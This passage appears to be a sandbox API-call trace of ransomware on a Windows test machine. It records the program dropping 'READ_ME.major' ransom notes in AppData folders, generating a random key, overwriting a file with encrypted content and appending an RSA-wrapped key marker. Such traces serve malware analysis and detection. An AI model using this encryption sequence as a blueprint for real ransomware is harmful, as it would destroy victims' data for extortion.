ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Skype", cAlternateFileName="")) returned 1 [0155.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0155.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0155.048] GetLastError () returned 0x0 [0155.048] SetLastError (dwErrCode=0x0) [0155.048] GetLastError () returned 0x0 [0155.048] SetLastError (dwErrCode=0x0) [0155.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0155.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0155.048] GetLastError () returned 0x0 [0155.048] SetLastError (dwErrCode=0x0) [0155.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0155.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1130 [0155.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0155.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0155.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1d0 [0155.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0155.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0155.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0155.048] GetLastError () returned 0x0 [0155.048] SetLastError (dwErrCode=0x0) [0155.048] GetLastError () returned 0x0 [0155.048] SetLastError (dwErrCode=0x0) [0155.048] GetLastError () returned 0x0 [0155.048] SetLastError (dwErrCode=0x0) [0155.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0155.048] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0155.060] WriteFile (in: hFile=0x6a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0155.061] CloseHandle (hObject=0x6a8) returned 1 [0155.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0155.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0155.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0155.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0155.062] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45008a0, ftCreationTime.dwHighDateTime=0x1d4ccc3, ftLastAccessTime.dwLowDateTime=0x6a3cb340, ftLastAccessTime.dwHighDateTime=0x1d4d442, ftLastWriteTime.dwLowDateTime=0x6a3cb340, ftLastWriteTime.dwHighDateTime=0x1d4d442, nFileSizeHigh=0x0, nFileSizeLow=0xf9c3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SmmBWCLZVanpZAwYueZ.avi", cAlternateFileName="SMMBWC~1.AVI")) returned 1 [0155.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0155.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0155.062] GetLastError () returned 0x0 [0155.062] SetLastError (dwErrCode=0x0) [0155.062] GetLastError () returned 0x0 [0155.062] SetLastError (dwErrCode=0x0) [0155.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0155.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0155.062] GetLastError () returned 0x0 [0155.062] SetLastError (dwErrCode=0x0) [0155.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0155.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0155.062] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef4f450, ftCreationTime.dwHighDateTime=0x1d4cba1, ftLastAccessTime.dwLowDateTime=0x6de525b0, ftLastAccessTime.dwHighDateTime=0x1d4c969, ftLastWriteTime.dwLowDateTime=0x6de525b0, ftLastWriteTime.dwHighDateTime=0x1d4c969, nFileSizeHigh=0x0, nFileSizeLow=0x16f69, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SNDUoBILSaAUYavUVF_.mkv", cAlternateFileName="SNDUOB~1.MKV")) returned 1 [0155.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0155.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0155.062] GetLastError () returned 0x0 [0155.062] SetLastError (dwErrCode=0x0) [0155.062] GetLastError () returned 0x0 [0155.062] SetLastError (dwErrCode=0x0) [0155.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0155.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0155.062] GetLastError () returned 0x0 [0155.062] SetLastError (dwErrCode=0x0) [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0155.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0155.063] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Sun", cAlternateFileName="")) returned 1 [0155.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0155.063] GetLastError () returned 0x0 [0155.063] SetLastError (dwErrCode=0x0) [0155.063] GetLastError () returned 0x0 [0155.063] SetLastError (dwErrCode=0x0) [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0155.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0155.063] GetLastError () returned 0x0 [0155.063] SetLastError (dwErrCode=0x0) [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be478 [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be528 [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d390 [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0155.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0155.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0155.063] GetLastError () returned 0x0 [0155.063] SetLastError (dwErrCode=0x0) [0155.063] GetLastError () returned 0x0 [0155.063] SetLastError (dwErrCode=0x0) [0155.063] GetLastError () returned 0x0 [0155.064] SetLastError (dwErrCode=0x0) [0155.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0155.064] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\sun\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0155.064] WriteFile (in: hFile=0x6a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0155.065] CloseHandle (hObject=0x6a8) returned 1 [0155.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0155.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0155.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0155.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0155.065] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x169cfa50, ftCreationTime.dwHighDateTime=0x1d4cdb8, ftLastAccessTime.dwLowDateTime=0x56a1f3a0, ftLastAccessTime.dwHighDateTime=0x1d4d347, ftLastWriteTime.dwLowDateTime=0x56a1f3a0, ftLastWriteTime.dwHighDateTime=0x1d4d347, nFileSizeHigh=0x0, nFileSizeLow=0x14481, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TEE3YHnKdV7Vhk.pdf", cAlternateFileName="TEE3YH~1.PDF")) returned 1 [0155.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0155.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0155.066] GetLastError () returned 0x0 [0155.066] SetLastError (dwErrCode=0x0) [0155.066] GetLastError () returned 0x0 [0155.067] SetLastError (dwErrCode=0x0) [0155.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0155.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0155.067] GetLastError () returned 0x0 [0155.067] SetLastError (dwErrCode=0x0) [0155.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0155.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0155.067] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b0b3070, ftCreationTime.dwHighDateTime=0x1d4d2c7, ftLastAccessTime.dwLowDateTime=0x39a1b6e0, ftLastAccessTime.dwHighDateTime=0x1d4ca79, ftLastWriteTime.dwLowDateTime=0x39a1b6e0, ftLastWriteTime.dwHighDateTime=0x1d4ca79, nFileSizeHigh=0x0, nFileSizeLow=0x10059, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="t_lMeO-W9T1uHL.xlsx", cAlternateFileName="T_LMEO~1.XLS")) returned 1 [0155.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0155.067] GetLastError () returned 0x0 [0155.067] SetLastError (dwErrCode=0x0) [0155.067] GetLastError () returned 0x0 [0155.067] SetLastError (dwErrCode=0x0) [0155.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0155.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0155.067] GetLastError () returned 0x0 [0155.067] SetLastError (dwErrCode=0x0) [0155.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0155.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0155.068] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62f9d00, ftCreationTime.dwHighDateTime=0x1d4c8d7, ftLastAccessTime.dwLowDateTime=0x6ebbe5a0, ftLastAccessTime.dwHighDateTime=0x1d4c8c4, ftLastWriteTime.dwLowDateTime=0x6ebbe5a0, ftLastWriteTime.dwHighDateTime=0x1d4c8c4, nFileSizeHigh=0x0, nFileSizeLow=0x42a2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vF8wdqX0efbQr6Uyf.mkv", cAlternateFileName="VF8WDQ~1.MKV")) returned 1 [0155.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0155.068] GetLastError () returned 0x0 [0155.068] SetLastError (dwErrCode=0x0) [0155.068] GetLastError () returned 0x0 [0155.068] SetLastError (dwErrCode=0x0) [0155.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0155.068] GetLastError () returned 0x0 [0155.068] SetLastError (dwErrCode=0x0) [0155.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.068] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb773bd40, ftCreationTime.dwHighDateTime=0x1d4d5cb, ftLastAccessTime.dwLowDateTime=0x7c534850, ftLastAccessTime.dwHighDateTime=0x1d4cfb5, ftLastWriteTime.dwLowDateTime=0x7c534850, ftLastWriteTime.dwHighDateTime=0x1d4cfb5, nFileSizeHigh=0x0, nFileSizeLow=0x15077, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vmWcWAmW3UGUWSW.mp3", cAlternateFileName="VMWCWA~1.MP3")) returned 1 [0155.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.068] GetLastError () returned 0x0 [0155.068] SetLastError (dwErrCode=0x0) [0155.068] GetLastError () returned 0x0 [0155.068] SetLastError (dwErrCode=0x0) [0155.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0155.068] GetLastError () returned 0x0 [0155.068] SetLastError (dwErrCode=0x0) [0155.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.068] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e20e30, ftCreationTime.dwHighDateTime=0x1d4d031, ftLastAccessTime.dwLowDateTime=0xc175f450, ftLastAccessTime.dwHighDateTime=0x1d4c80d, ftLastWriteTime.dwLowDateTime=0xc175f450, ftLastWriteTime.dwHighDateTime=0x1d4c80d, nFileSizeHigh=0x0, nFileSizeLow=0x1891b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="W4SMtZ5NJNaWq.wav", cAlternateFileName="W4SMTZ~1.WAV")) returned 1 [0155.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0155.069] GetLastError () returned 0x0 [0155.069] SetLastError (dwErrCode=0x0) [0155.069] GetLastError () returned 0x0 [0155.069] SetLastError (dwErrCode=0x0) [0155.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0155.069] GetLastError () returned 0x0 [0155.069] SetLastError (dwErrCode=0x0) [0155.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.069] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52e014a0, ftCreationTime.dwHighDateTime=0x1d4d05d, ftLastAccessTime.dwLowDateTime=0x46236510, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x46236510, ftLastWriteTime.dwHighDateTime=0x1d4d5a2, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="XjanlTX039MqQ89Zhye.m4a", cAlternateFileName="XJANLT~1.M4A")) returned 1 [0155.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0155.069] GetLastError () returned 0x0 [0155.069] SetLastError (dwErrCode=0x0) [0155.069] GetLastError () returned 0x0 [0155.069] SetLastError (dwErrCode=0x0) [0155.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0155.069] GetLastError () returned 0x0 [0155.069] SetLastError (dwErrCode=0x0) [0155.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.069] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a733a0, ftCreationTime.dwHighDateTime=0x1d4d248, ftLastAccessTime.dwLowDateTime=0x2faa4060, ftLastAccessTime.dwHighDateTime=0x1d4cdd2, ftLastWriteTime.dwLowDateTime=0x2faa4060, ftLastWriteTime.dwHighDateTime=0x1d4cdd2, nFileSizeHigh=0x0, nFileSizeLow=0x82e4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="y3TLzbk NEn3xjke7z.gif", cAlternateFileName="Y3TLZB~1.GIF")) returned 1 [0155.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0155.069] GetLastError () returned 0x0 [0155.069] SetLastError (dwErrCode=0x0) [0155.069] GetLastError () returned 0x0 [0155.069] SetLastError (dwErrCode=0x0) [0155.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0155.070] GetLastError () returned 0x0 [0155.070] SetLastError (dwErrCode=0x0) [0155.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.070] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f53ce0, ftCreationTime.dwHighDateTime=0x1d4ccf7, ftLastAccessTime.dwLowDateTime=0x3fb266b0, ftLastAccessTime.dwHighDateTime=0x1d4d49c, ftLastWriteTime.dwLowDateTime=0x3fb266b0, ftLastWriteTime.dwHighDateTime=0x1d4d49c, nFileSizeHigh=0x0, nFileSizeLow=0xa664, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="YHwAAwd61Qg6XnA280n.gif", cAlternateFileName="YHWAAW~1.GIF")) returned 1 [0155.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.070] GetLastError () returned 0x0 [0155.070] SetLastError (dwErrCode=0x0) [0155.070] GetLastError () returned 0x0 [0155.070] SetLastError (dwErrCode=0x0) [0155.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0155.070] GetLastError () returned 0x0 [0155.070] SetLastError (dwErrCode=0x0) [0155.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.070] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22f7be0, ftCreationTime.dwHighDateTime=0x1d4d054, ftLastAccessTime.dwLowDateTime=0x36611d70, ftLastAccessTime.dwHighDateTime=0x1d4c6ed, ftLastWriteTime.dwLowDateTime=0x36611d70, ftLastWriteTime.dwHighDateTime=0x1d4c6ed, nFileSizeHigh=0x0, nFileSizeLow=0x14daf, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ykRZT9aW6s0hg4oEJH.mp4", cAlternateFileName="YKRZT9~1.MP4")) returned 1 [0155.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.070] GetLastError () returned 0x0 [0155.070] SetLastError (dwErrCode=0x0) [0155.070] GetLastError () returned 0x0 [0155.070] SetLastError (dwErrCode=0x0) [0155.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0155.070] GetLastError () returned 0x0 [0155.070] SetLastError (dwErrCode=0x0) [0155.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.074] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98982300, ftCreationTime.dwHighDateTime=0x1d4cb4b, ftLastAccessTime.dwLowDateTime=0xfded23d0, ftLastAccessTime.dwHighDateTime=0x1d4cbab, ftLastWriteTime.dwLowDateTime=0xfded23d0, ftLastWriteTime.dwHighDateTime=0x1d4cbab, nFileSizeHigh=0x0, nFileSizeLow=0x111ab, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="yPvcK9KKYDCNPu8UYfI.avi", cAlternateFileName="YPVCK9~1.AVI")) returned 1 [0155.075] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0155.075] GetLastError () returned 0x0 [0155.075] SetLastError (dwErrCode=0x0) [0155.075] GetLastError () returned 0x0 [0155.075] SetLastError (dwErrCode=0x0) [0155.075] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0155.075] GetLastError () returned 0x0 [0155.075] SetLastError (dwErrCode=0x0) [0155.075] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.075] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98982300, ftCreationTime.dwHighDateTime=0x1d4cb4b, ftLastAccessTime.dwLowDateTime=0xfded23d0, ftLastAccessTime.dwHighDateTime=0x1d4cbab, ftLastWriteTime.dwLowDateTime=0xfded23d0, ftLastWriteTime.dwHighDateTime=0x1d4cbab, nFileSizeHigh=0x0, nFileSizeLow=0x111ab, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="yPvcK9KKYDCNPu8UYfI.avi", cAlternateFileName="YPVCK9~1.AVI")) returned 0 [0155.075] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.075] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\yPvcK9KKYDCNPu8UYfI.avi", dwFileAttributes=0x80) returned 1 [0155.075] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61b88 | out: hHeap=0x570000) returned 1 [0155.075] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\yPvcK9KKYDCNPu8UYfI.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ypvck9kkydcnpu8uyfi.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.075] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=70059) returned 1 [0155.076] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x111ab, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x111ab, lpOverlapped=0x0) returned 1 [0155.078] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-70059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.078] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e730e8*, nNumberOfBytesToWrite=0x111ab, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e730e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x111ab, lpOverlapped=0x0) returned 1 [0155.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e730e8 | out: hHeap=0x570000) returned 1 [0155.078] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x111ab [0155.078] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.078] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.078] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.078] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.078] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 